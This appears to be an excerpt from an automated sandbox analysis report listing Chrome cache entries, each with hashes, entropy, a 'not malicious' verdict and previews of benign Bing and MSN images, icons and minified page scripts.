Preview:	<svg width="30" height="14" viewBox="0 0 30 14" fill="none" xmlns="http://www.w3.org/2000/svg">.. <g clip-path="url(#clip0_1_504)">.. <path fill-rule="evenodd" clip-rule="evenodd" d="M7.39998 12.8H14.2L17.3 1.20001H7.39998C4.19998 1.20001 1.59998 3.80001 1.59998 7.00001C1.59998 10.2 4.19998 12.8 7.39998 12.8Z" fill="white"/>.. <path fill-rule="evenodd" clip-rule="evenodd" d="M22.6 0H7.40002C3.50002 0 0.400024 3.1 0.400024 7C0.400024 10.9 3.50002 14 7.40002 14H22.6C26.5 14 29.6 10.9 29.6 7C29.6 3.1 26.4 0 22.6 0ZM1.60002 7C1.60002 3.8 4.20002 1.2 7.40002 1.2H17.3L14.2 12.8H7.40002C4.20002 12.8 1.60002 10.2 1.60002 7Z" fill="#0066FF"/>.. <path d="M24.6 4.00001C24.8 4.20001 24.8 4.60001 24.6 4.80001L22.5 7.00001L24.7 9.20001C24.9 9.40001 24.9 9.80001 24.7 10C24.5 10.2 24.1 10.2 23.9 10L21.7 7.80001L19.5 10C19.3 10.2 18.9 10.2 18.7 10C18.5 9.80001 18.5 9.40001 18.7 9.20001L20.8 7.00001L18.6 4.80001C18.4 4.60001 18.4 4.20001 18.6 4.00001C18.8 3.80001 19.2 3.80001 19.

Chrome Cache Entry: 726

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x304, components 3
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.136110936757293
Encrypted:	false
SSDEEP:	24:fIihitYJ/jWdE2XsQvGYCU1Y72Xdmq50tbrFl20MVq4OSLw:AiH/j0EisV9UNXdfifKf7Lw
MD5:	9119C1A6EA63AFA55E6274B55B458817
SHA1:	618102DB60F79261B94845EA3F65895EF6995AFD
SHA-256:	0FA50A450106430FB653E3EC832D8E0361F08B88FA32FC7A3F8C148755210B9B
SHA-512:	504E036FF7DDB00E2B784B68EC3C2C01635B003690FB8D6554BA269A65E07BE49D18C47E16328B3817185B6CB55DF2F1B943611F30B44C4DA2408BDE1DA41915
Malicious:	false
Reputation:	unknown
Preview:	......JFIF...................................."....."3 % % 3-7,),7-Q@88@Q^OJO^qeeq............................"....."3 % % 3-7,),7-Q@88@Q^OJO^qeeq............0.,.."..........c...............................................!.1..A"..........................................1............?..~.......{.o][...+....@m.=]Q.Zr..cQ.[.GX.r..A.V.q..A.V..V.GiZ..V.....VG.t.=..v=S....+.;.W^l.]yy..>W.LW...O...{.n.V=...]t.N=1[....o..fc.k..>Q....1..=.H...^..~_..>..<.....+7.....42.Z....1....J.k..V.r..Du..rPv..\5.A.a:r.Tw.~N:..G=c..{q..X........#.mu...o;..O..d......~]}1....<...{...].g.^o.....`.=.z.+H...)..=.cL.}[......Y..X.4.....i.ADh.b7".my....M5y..]kX..u.Pt.X.F.....\|...zg..>o=..@..\._....S.....k<..`?C}5.g....mz.S....}H.{..s.....1zy..'].(.k.....{c...G..#.ww...:....5....d....LGH..a...r..).&.rGH.J..du......Q.]s]..0h:i........;.9h5z^zs.../K-z..$\|.z..V.=..W.N...c.v...o...M...i.q..A..'.V/[.....iU......Z........+r.kr...k............... .`............[....

Chrome Cache Entry: 727

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3102), with no line terminators
Category:	dropped
Size (bytes):	3102
Entropy (8bit):	5.21762849278984
Encrypted:	false
SSDEEP:	48:wSGAYinlz3omPxexUQn4T4mEWOJXBEmQ4Qbjzu7EG62C5lamlh/uf:w3inJ3rs6DTmfXBq4Ujzu7k9jfK
MD5:	DD6A528C55708896155FEA98148725FA
SHA1:	53C48069ABE54FD30D9FFF1D7FD8C287AFBBE1B1
SHA-256:	635421AF44598C7601907A7AD263A3A8925BE6495BA349382F02805DBE668566
SHA-512:	B1D3214F238D873708ABDD7DADB4E3C01BFA036B0AA737028E58E9EC5236A6D8600DC0D11628B0E299027ADD8697D60D37443548864D1DB3B25747098BFB1A24
Malicious:	false
Reputation:	unknown
Preview:	var MobileIcon;(function(){function wt(){var t,i;tt()?((t=n===null\|\|n===void 0?void 0:n.classList)===null\|\|t===void 0?void 0:t.add("b_hide"),r("overlap")):((i=n===null\|\|n===void 0?void 0:n.classList)===null\|\|i===void 0?void 0:i.remove("b_hide"),Log.Log(b,k,"resize"))}function tt(){return(g===null\|\|g===void 0?void 0:g.offsetWidth)-((e===null\|\|e===void 0?void 0:e.offsetWidth)+(d===null\|\|d===void 0?void 0:d.offsetWidth)+at)<vt}function i(t){var i=_ge("id_mobpopcntr");(n===null\|\|n===void 0?void 0:n.contains(t===null\|\|t===void 0?void 0:t.target))\|\|(i===null\|\|i===void 0?void 0:i.contains(t===null\|\|t===void 0?void 0:t.target))\|\|r("ClickPage")}function ht(t){Log.Log(it,k,t);bt();n===null\|\|n===void 0?void 0:n.classList.add("active");s=!0}function ct(){if(sj_gx){var n=sj_gx();n.onreadystatechange=function(){n.readyState==4&&n.status==200&&(et=!0,sj_appHTML(e,n.responseText),sb_st(function(){ht("ClickMobileIcon")},250))};n.open("GET","/header/mobupsellfly",!0);n.send()}}function bt(){sj_be(_d,"cl

Chrome Cache Entry: 728

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46198)
Category:	downloaded
Size (bytes):	78250
Entropy (8bit):	5.5302144997722795
Encrypted:	false
SSDEEP:	768:aNHzhc0qXvNbXUQk10BG8+woD+XyYepQcRm9cCaaI4Vr4bZdTuXt0PhANRp/gCav:JXvfk1SG8gm9cJhMSCcjXln0c62e/jNu
MD5:	D0541FEB9CF7EC680838514F33E37017
SHA1:	F3F20E735269A0E7BDC6382D1FE5FA8A2F60F107
SHA-256:	04E4AB24531652C560B92BCC9EEB263B4070CF626BD0F9D5D573B2E891FC99BD
SHA-512:	4847257DAB51038B99D9738F3D9BFB1AFC15B85E1253F4855984DCF187FE9F0D88B1911F8F193D46B5085C694916F154A8EA1A8BCF097D74F2067E75A4B173AD
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/social-bar-wc.5c658caca1f1d3a9dea5.js
Preview:	(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["social-bar-wc"],{95237:function(t,e,o){"use strict";o.r(e),o.d(e,{SocialBarWC:function(){return U},SocialBarWCStyles:function(){return Ft},SocialBarWCTemplate:function(){return Rt},ToolingInfo:function(){return It}});var n,i=o(33940),a=o(89515),s=o(65756),l=o(4456),r=o(77904),c=o(53076),d=o(83227),p=o(56692),u=o(44979),h=o(57839);!function(t){t[t.UpdateSocial=0]="UpdateSocial",t[t.UpdateSocialComment=1]="UpdateSocialComment",t[t.ToggleCommentOverlay=2]="ToggleCommentOverlay",t[t.CommentOverlayVisibilityChanged=3]="CommentOverlayVisibilityChanged",t[t.RenderSocialPopup=4]="RenderSocialPopup"}(n\|\|(n={}));class m{static dispatchEvent(t,e){window.dispatchEvent(new CustomEvent(t,{detail:e}))}static listenEvent(t,e){window.addEventListener(t,(t=>e(t.detail)))}static getEventNameFromType(t){return`SocialCommunicatorEvent-${t.toString()}`}static updateSocial(t){m.dispatchEvent(m.getEventNameFr

Chrome Cache Entry: 729

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (391), with no line terminators
Category:	downloaded
Size (bytes):	391
Entropy (8bit):	5.184440623275194
Encrypted:	false
SSDEEP:	12:2Qxjl/mLAHPWEaaGRHkj6iLUEkFKgs5qHT:2QC8H+aGRHk+i1kFKgs5qHT
MD5:	55EC2297C0CF262C5FA9332F97C1B77A
SHA1:	92640E3D0A7CBE5D47BC8F0F7CC9362E82489D23
SHA-256:	342C3DD52A8A456F53093671D8D91F7AF5B3299D72D60EDB28E4F506368C6467
SHA-512:	D070B9C415298A0F25234D1D7EAFB8BAE0D709590D3C806FCEAEC6631FDA37DFFCA40F785C86C4655AA075522E804B79A7843C647F1E98D97CCE599336DD9D59
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/kmQOPQp8vl1HvI8PfMk2LoJInSM.js
Preview:	(function(){function n(){var n=_ge("id_p"),t,i;n&&(t="",i="",n.dataset?(t=n.dataset.src,i=n.dataset.alt):(t=n.getAttribute("data-src"),i=n.getAttribute("data-alt")),t&&t!=""&&(n.onerror=function(){n.onerror=null;n.src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNgYAAAAAMAASsJTYQAAAAASUVORK5CYII=";n.alt=""},n.onload=function(){n.alt=i},n.src=t))}n()})()

Chrome Cache Entry: 730

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	964
Entropy (8bit):	4.421237058266115
Encrypted:	false
SSDEEP:	24:t741nTY2jmYXhgauOwgXl3gHuWg9cZLzix9QiVCVCTikxQmQ6Nkpgeoo7:dQnkwXhnuOwIlwHuW7nC9QkaUzQm3Nk5
MD5:	88E3ED3DD7EEE133F73FFB9D36B04B6F
SHA1:	518B54603727D68665146F987C13F3E7DCDE8D82
SHA-256:	A39AB0A67C08D907EDDB18741460399232202C26648D676A22AD06E9C1D874CB
SHA-512:	90FF1284A7FEB9555DFC869644BD5DF8A022AE7873547292D8F6A31BA0808613B6A7F23CB416572ADB298EEE0998E0270B78F41C619D84AB379D0CA9D1D9DA6B
Malicious:	false
Reputation:	unknown
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" enable-background="new 0 0 16 16"><g fill="#00809D"><path d="M2.25 0h-1.25c-.263 0-.521.107-.707.293-.186.186-.293.444-.293.707v1.25c0 .552.448 1 1 1s1-.448 1-1v-.25h.25c.552 0 1-.448 1-1s-.448-1-1-1zM1 8.75c.552 0 1-.448 1-1v-1.5c0-.552-.448-1-1-1s-1 .448-1 1v1.5c0 .552.448 1 1 1zM2.25 12h-.25v-.25c0-.552-.448-1-1-1s-1 .448-1 1v1.25c0 .263.107.521.293.707s.444.293.707.293h1.25c.552 0 1-.448 1-1s-.448-1-1-1zM11.75 2h.25v.25c0 .552.448 1 1 1s1-.448 1-1v-1.25c0-.263-.107-.521-.293-.707-.186-.186-.444-.293-.707-.293h-1.25c-.552 0-1 .448-1 1s.448 1 1 1zM6.25 2h1.5c.552 0 1-.448 1-1s-.448-1-1-1h-1.5c-.552 0-1 .448-1 1s.448 1 1 1zM14.5 7h-.5v-.75c0-.552-.448-1-1-1s-1 .448-1 1v.75h-3.5c-.828 0-1.5.671-1.5 1.5v3.5h-.75c-.552 0-1 .448-1 1s.448 1 1 1h.75v.5c0 .828.672 1.5 1.5 1.5h6c.828 0 1.5-.672 1.5-1.5v-6c0-.829-.672-1.5-1.5-1.5z"/></g><path fill="none" d="M0 0h16v16h-16z"/></svg>

Chrome Cache Entry: 731

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1040
Entropy (8bit):	4.906475176292464
Encrypted:	false
SSDEEP:	24:t3JfDuJSMMg7cO4PRgASiFL9PddDSYXIzfpMhg4BLy+K5bHxpGlG8O:30cZPRdx3n9vLvK5bHac8O
MD5:	7EAFCE495848D8F8805487DA7F6C17E8
SHA1:	D14E7BE4F3BA3860F9292B6E1FE1EE6B432945F6
SHA-256:	B6F9A9A7FD5FAD7452F972E26119B4A2180E6E28681C4CA77F3D49A9DCB3A151
SHA-512:	A7D4A78E6C1DC8BAB9B86C099417E1AC2CC6581A7F99780ACCAC2A79F5D5FAEEBA514A61B3BEB34A8BAE6C4B3CC67A8580F4506ABB0817DC7DB3499464827DF3
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/staticsb/statics/latest/shopping/discountTag.svg
Preview:	<svg width="14" height="14" viewBox="0 0 14 14" fill="none" xmlns="http://www.w3.org/2000/svg">.. <path fill-rule="evenodd" clip-rule="evenodd" d="M13.6505 1.15573C13.6203 0.625918 13.191 0.206607 12.6606 0.188891L7.86533 0.0287154C7.57733 0.0190956 7.29857 0.131052 7.09722 0.337199L0.313162 7.28308C-0.0826965 7.68838 -0.0750412 8.33785 0.33026 8.7337L5.39872 13.6841C5.80402 14.0799 6.45349 14.0723 6.84935 13.667L13.6334 6.72108C13.8348 6.51493 13.9401 6.2336 13.9237 5.94591L13.6505 1.15573ZM11.0542 3.19839C11.3347 3.47234 11.7842 3.46704 12.0581 3.18655C12.3321 2.90607 12.3268 2.4566 12.0463 2.18265C11.7658 1.9087 11.3163 1.914 11.0424 2.19449C10.7684 2.47497 10.7737 2.92443 11.0542 3.19839Z" fill="url(#paint0_linear_9629_1325)"/>.. <defs>.. <linearGradient id="paint0_linear_9629_1325" x1="4.94694" y1="13.487" x2="0.000210146" y2="3.39805" gradientUnits="userSpaceOnUse">.. <stop stop-color="#4464FF"/>.. <stop offset="1" stop-color="#44B0FF"/>..

Chrome Cache Entry: 732

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	6390
Entropy (8bit):	7.916045846394136
Encrypted:	false
SSDEEP:	96:8zgENeFGicJL25Ssxv3SEgGTEU4AKiTi2d95qNgmsXhn2:ygVCZ4bvNgVXoTivNgmsXp2
MD5:	8BD85792846F5BAE63FDC99CA49150FF
SHA1:	205880EDF6118311758CBDEC786E34BF6C5F2C04
SHA-256:	6C29760D9B90767B751689DA2ACFBDF12C15C63427CBCB62D7947F78B9C4F85F
SHA-512:	55E6443EA079230DBF72A81F7B043D9D9EFA5B11B4A502A77CD4243D9BF676845951CBC1F88703E9D3A775F12EFB43DA725CAE349EA844F0AB10B320515B20A7
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....8b..'.._'...2.O0H.U.....t.>...".&..e...WL....1.....R%...z.K.......e..6....:.:...V_i...d...v..p..NGo.N.wCP....l..\.:s...^.gt.w....yN....G....i.C),"..s.p..z.......hV.Q.3y"(..z......(.+TZ..z.Y......[.?..JO..D.#J.l...g.....n.....QN...\|C. ..H...Y... *.x.^\|...zm.......".$X.....l..}I5..K..k.9......,.....b..Q".....g..-..{..._9...oi.q...Y.D.p...[.J.6...

Chrome Cache Entry: 734

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	23406
Entropy (8bit):	7.968578712883424
Encrypted:	false
SSDEEP:	384:eDjs99LABQFwURgAwfhL83dKsug5BWEP6ZlLye1PmNxe1nCkTnk+cikLi2:eDj2NABQFwU2hYYqKlExICYk+cikLi2
MD5:	D59B72B6DBFDEEC6C5B2AADC4C478027
SHA1:	36BAD292F8E8F1DEFE2D6C2289D23B5ADF66A6F4
SHA-256:	6D934F662D366AE75404C2E1B688B3A68DB7AF7BA715546F542AA3246B55121D
SHA-512:	D4F6D809CE0EFC702807DD27FBF3711D78CC2D2DE1907F64F7AF3FD493CF5DC3F80965F89162B67F1422222A809F755263DCEBF9B644AFCC616BB383108144F7
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..kg.O..}.vs...}....LT..m.Z$`.....K.....x...x....<g..q.i.....F..)Wq^i....r)...O..9S._.4....n;T.1....."...d...s..c.....:.4<..3...`s.......=......c..,).x.a.......2?.s'.C.N..D...R...R,_.=EC.......O......6.$....nf`6.B.....W"...cL.&.<.pc......A....r..T$..f..&.q..b..%NA...z..N.n.Qsy-..c.H....e.`N>.5.mKX'.C+.-.9.....MQs..C6q.)._O..?.. .@..y..\|.s.}'>..r?/.?.(BO..;

Chrome Cache Entry: 735

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2009), with no line terminators
Category:	downloaded
Size (bytes):	2009
Entropy (8bit):	5.260635854713912
Encrypted:	false
SSDEEP:	24:y2x50QNQE0YpOP8AA+nLzpJWM1nzfC57eADCoAILODcv/KUSCUvXG3AP5tD1FiOw:7LpsA0pJdQ7eG2KRSCMg+D1gZV5
MD5:	601102CA711E0B4140AF45C1657DB13F
SHA1:	7977EF6E79471380B8787B5B7148E9FF0A74A203
SHA-256:	E47318CD9D80769AC59E732347FB4F574CD4EEA9E2C787F3A996805265069001
SHA-512:	082834DC3EC02CF433FBD8D45C7CFDAC1EDF64B90E1198E48EACA4056E98BBE1BCFA8275B4D99BCC0E6934049DC084EEC5D640B54C1933DABB42FA75016E3E40
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/eXfvbnlHE4C4eHtbcUjp_wp0ogM.js
Preview:	var RewardsCreditRefresh;(function(n){function r(t,i,r,u,f,e,o,s,h,c,l,a,v,y){sj_cook.set(t,i,r.toString(),!1,"/");sj_cook.set(t,u,f.toString(),!1,"/");sj_cook.set(t,e,o.toString(),!1,"/");sj_cook.set(t,s,h.toString(),!1,"/");sj_cook.set(t,c,l.toString(),!1,"/");sj_cook.set(t,a,v.toString(),!1,"/");sj_evt.fire("RewardsCookieUpdated");sj_evt.bind("identityHeaderShown",function(){return n.RewardsHeaderAnim(o,r,f,y)},1)}function u(n,r,u,f){var h;u=u\|\|r;var s=_ge("id_rh"),e=_ge("rh_animcrcl"),a=_ge("id_rc");if(s&&a&&(e\|\|_ge("givemuid_heart"))&&!(r<0)&&!(r<n)&&!(u<=0)){var o=_ge("rewardsEntryPoint"),v=800,y=r-n,c=Math.min(100,100(r/u)),l=e&&c>=100&&n<u,p=y>0,w=Date.now();c>=100&&s.classList&&Lib.CssClass.add(s,"rh_reedm");e&&Lib.CssClass.add(e,"anim");h=function(u){var a,k;if(u){var tt=Date.now(),d=tt-w,g=Math.min(d/v,1),it=l?tg:tc/100,rt=p?Math.min(Math.floor((n+gy)/f)*f,r):r,nt=_ge("rewardsBright"),b=_ge("rewardsAnimation");e&&e.setAttribute("stroke-dasharray",it.toString()+","+t.toSt

Chrome Cache Entry: 736

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	226
Entropy (8bit):	4.923112772413901
Encrypted:	false
SSDEEP:	6:2LGfGIEW65JcYCgfkF2/WHRMB58IIR/QxbM76Bhl:2RWIyYCwk4/EMB5ZccbM+B/
MD5:	A5363C37B617D36DFD6D25BFB89CA56B
SHA1:	31682AFCE628850B8CB31FAA8E9C4C5EC9EBB957
SHA-256:	8B4D85985E62C264C03C88B31E68DBABDCC9BD42F40032A43800902261FF373F
SHA-512:	E70F996B09E9FA94BA32F83B7AA348DC3A912146F21F9F7A7B5DEEA0F68CF81723AB4FEDF1BA12B46AA4591758339F752A4EBA11539BEB16E0E34AD7EC946763
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/MWgq_OYohQuMsx-qjpxMXsnruVc.js
Preview:	(function(n,t,i){if(t){var r=!1,f=function(){r\|\|(r=!0,typeof wlc!="undefined"&&wlc(sj_evt,sj_cook.set,wlc_t))},u=function(){setTimeout(f,t)};n.bind("onP1",function(){i?n.bind("aad:signedout",u):u()},1)}})(sj_evt,wlc_d,wlc_wfa)

Chrome Cache Entry: 737

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (938), with no line terminators
Category:	downloaded
Size (bytes):	938
Entropy (8bit):	5.18200878052665
Encrypted:	false
SSDEEP:	24:GFUFqJYYmaLOTCE20aOtZP9F3a6MakIzHF+lvyUJ9sq5aOB:BWOWEZP9U6MUEvyUJ9s6
MD5:	DBF771B1F0B05393D18BC55FD6DD94A7
SHA1:	BC4FD6C9EFB2E87D2D30F19DD78C9188B6D76B2D
SHA-256:	F2C5677D58718AE60F7F4E98351643AFEB8AD7FDFE4B2B6AF0B7B63108CB7071
SHA-512:	50B113243923EC8E4432288AE4FDE5B2FD0339C0EE785D33543E2C502F366E33BA99B0B1C0893E78CA23B820B71A9E3E4CBA31F5D865C43A989E3262D869ADCE
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/vE_Wye-y6H0tMPGd14yRiLbXay0.js
Preview:	var ShareDialog;(function(n){function i(){t("bootstrap",arguments)}function r(){t("show",arguments)}function u(){t("showError",arguments)}function t(n,t){for(var r=["shdlgapi",n],i=0;i<t.length;i++)r.push(t[i]);sj_evt.fire.apply(null,r)}n.bootstrap=i;n.show=r;n.showError=u})(ShareDialog\|\|(ShareDialog={})),function(n){function i(){t==0&&u()}function r(){sj_evt.unbind("shdlgapi",i)}function u(){t=1;var n=ShareDialogConfig.shareDialogUrl+"&IG="+_G.IG;n=e(n,["uncrunched","testhooks"]);sj_ajax(n,{callback:function(n,i){n?(t=2,i.appendTo(_d.body),r(),f()):t=3},timeout:0})}function f(){var n="rms";_w[n]&_w[n].start()}function e(n,t){var i,r,u;for(r in t)u=new RegExp("[?&]".concat(t[r],"=[^?&#]*"),"i"),(i=location.href.match(u))&&i[0]&&(n+="&"+i[0].substring(1));return n}function o(){n.inited=0}function s(){n.inited\|\|(n.inited=1,sj_evt.bind("shdlgapi",i,!0),sj_evt.bind("ajax.unload",o,!1))}var t=0;s()}(ShareDialog\|\|(ShareDialog={}))

Chrome Cache Entry: 738

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15366), with no line terminators
Category:	downloaded
Size (bytes):	15366
Entropy (8bit):	5.333473665998834
Encrypted:	false
SSDEEP:	384:AH1NY1hmdGmYSm9RhHah/hmsl3MAzk5T0hX9Vo4Lh0i/wWVmI9FwR1+mSdVKF+/Z:21NY1hSGmYSm3hHah/hLl3MAziT0hNVd
MD5:	6AA549AE9767E420C1AF7D429EBB0888
SHA1:	53E3793A4FDE7962C293A05B09F56A5E2AF38E3B
SHA-256:	2AC506835420843EA7B32FCEE470F532F164A670B0A9C172425C2B247D19F025
SHA-512:	DF100E42361A9AFDDA93E2D63B1C73BA5472B68E2EA5175EDC4F6E1596BEC711B2531978D43232F0047A1C26DFAFA4FE40F9875E7351812CB9FF8CF65DA53B7A
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/weather-data-lazy-services.f949e23f4e92b28e221c.js
Preview:	"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["weather-data-lazy-services"],{83769:function(e,t,i){i.r(t),i.d(t,{createVersionApiClient:function(){return s}});var n=i(33940),r=i(56692);function o(e,t,i){return(0,n.mG)(this,void 0,void 0,(function(){const o=t.path\|\|"",a="/"==o[0]?o.substring(1):o,l=t.urlBase,s="/"==l[l.length-1]?l:l+"/",c=new URL(a,s),d=c.searchParams;i&&d.set("activityid",(0,r.Yq)().ActivityId);for(const[e,i]of Object.entries(t.queries\|\|{}))d.set(e,i);return yield function(e,t){return(0,n.mG)(this,void 0,void 0,(function(){let i="";try{const n=yield e(t);if(i=n.status,n.ok)return yield n.json()}catch(e){i=`status=${i},error=`+(e&&e.toString())}throw new Error(""+i)}))}(e,c.href)}))}var a=i(22089),l=i(22704);function s(e,t){if(t&&t.tileVersionApi){const i=Object.assign(Object.assign({},t.tileVersionApi),{urlBase:t.weatherApi.endpoint});return{fetchTileVersions:()=>{const n=(0,l.UE)();o(e,i,!0).then(((

Chrome Cache Entry: 739

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3102), with no line terminators
Category:	downloaded
Size (bytes):	3102
Entropy (8bit):	5.21762849278984
Encrypted:	false
SSDEEP:	48:wSGAYinlz3omPxexUQn4T4mEWOJXBEmQ4Qbjzu7EG62C5lamlh/uf:w3inJ3rs6DTmfXBq4Ujzu7k9jfK
MD5:	DD6A528C55708896155FEA98148725FA
SHA1:	53C48069ABE54FD30D9FFF1D7FD8C287AFBBE1B1
SHA-256:	635421AF44598C7601907A7AD263A3A8925BE6495BA349382F02805DBE668566
SHA-512:	B1D3214F238D873708ABDD7DADB4E3C01BFA036B0AA737028E58E9EC5236A6D8600DC0D11628B0E299027ADD8697D60D37443548864D1DB3B25747098BFB1A24
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/U8SAaavlT9MNn_8df9jCh6-74bE.js
Preview:	var MobileIcon;(function(){function wt(){var t,i;tt()?((t=n===null\|\|n===void 0?void 0:n.classList)===null\|\|t===void 0?void 0:t.add("b_hide"),r("overlap")):((i=n===null\|\|n===void 0?void 0:n.classList)===null\|\|i===void 0?void 0:i.remove("b_hide"),Log.Log(b,k,"resize"))}function tt(){return(g===null\|\|g===void 0?void 0:g.offsetWidth)-((e===null\|\|e===void 0?void 0:e.offsetWidth)+(d===null\|\|d===void 0?void 0:d.offsetWidth)+at)<vt}function i(t){var i=_ge("id_mobpopcntr");(n===null\|\|n===void 0?void 0:n.contains(t===null\|\|t===void 0?void 0:t.target))\|\|(i===null\|\|i===void 0?void 0:i.contains(t===null\|\|t===void 0?void 0:t.target))\|\|r("ClickPage")}function ht(t){Log.Log(it,k,t);bt();n===null\|\|n===void 0?void 0:n.classList.add("active");s=!0}function ct(){if(sj_gx){var n=sj_gx();n.onreadystatechange=function(){n.readyState==4&&n.status==200&&(et=!0,sj_appHTML(e,n.responseText),sb_st(function(){ht("ClickMobileIcon")},250))};n.open("GET","/header/mobupsellfly",!0);n.send()}}function bt(){sj_be(_d,"cl

Chrome Cache Entry: 740

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	121985
Entropy (8bit):	5.341090761312292
Encrypted:	false
SSDEEP:	1536:52+c51J9cXDBFAtutXwkIQYjSoiDxzAaImL1142qxkO0ni2agfBiXykUONNDdEVX:5nKhmrvAaAkd+g6UOpih
MD5:	844D73E18AD668FA1E9057452080D941
SHA1:	213E6C9C9979DB3C5E00393B592DAC1CF8D77B8F
SHA-256:	6FB0ED92A382C45DE7F7DF08F989D08573E06BEC4239F6A3A0841141E990DB1D
SHA-512:	EBB3468BC6ABE33C528B44D4AA2FB012B35072E4CA7E1D04CB0BDDE02A8B5BF066F27D6935E1DC18D0D7FB74A633DAD01A82FA94EB9B4E2EC72537AEEFB60490
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/IT5snJl52zxeADk7WS2sHPjXe48.js
Preview:	var AutoSuggest,__extends,EventKeyCodes,Bing,sa_inst;(function(n){var t;(function(n){var t,i,r,u,f,e;(function(n){n.User="SRCHHPGUSR"})(t=n.CookieNames\|\|(n.CookieNames={})),function(n){n.AutoSuggest="AS"}(i=n.CrumbNames\|\|(n.CrumbNames={})),function(n){n.CursorPosition="cp";n.ConversationId="cvid";n.SuggestionCount="sc";n.PartialQuery="pq";n.SuggestionPosition="sp";n.SuggestionType="qs";n.PreviewPaneSuggestionType="qsc";n.SkipValue="sk";n.PreviewPaneSkipValue="skc";n.Ghosting="ghc";n.Css="css";n.Count="count";n.DataSet="ds";n.SessionId="sid";n.TimeStamp="qt";n.Query="q";n.ImpressionGuid="ig";n.QFQuery="qry";n.BaseQuery="bq";n.FormCode="form";n.HashedMuid="nclid";n.RequestElToken="elvr";n.ElTokenValue="elv";n.AppId="appid";n.History="history";n.NoHistory="nohs";n.ApiTextDecoration="textdecorations";n.ClientId="clientid";n.Market="mkt";n.Scope="scope";n.CountryCode="cc";n.HomeGeographicRegion="hgr";n.SetLang="setlang";n.ZeroInputSerp="zis";n.GhShown="ghsh";n.GhAccepted="ghacc";n.GhPrefixL

Chrome Cache Entry: 741

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	18911
Entropy (8bit):	7.960797073792281
Encrypted:	false
SSDEEP:	384:eh6U4Up7YtQxrNJCL1K+4qVmahEH//OznXb4b54zrEB8oAMlaHcLmMThq8ZPFJW/:ehz42prNJBH3OznXPmRNla8LJNLP+EM
MD5:	EEFAF6BAD80DCE50DCB12ED5F86FC97F
SHA1:	F7BA321ABC12275470EA5FF60CA5EBD3A1A2F400
SHA-256:	D8D76EDD9A0B6F6D4CED1E51D05F3CBFBFFFA0636DE9E8F74AFA9FE66E9C4610
SHA-512:	F9286A93B23E4C73DC37EEBDE3D1D4876CCFCDD358629A7EBCDEE8FFE36B39CBB1203E244172FCE54BB65E1532FB36722FE1ED0BCB5D816BF7425FD60759C380
Malicious:	false
Reputation:	unknown
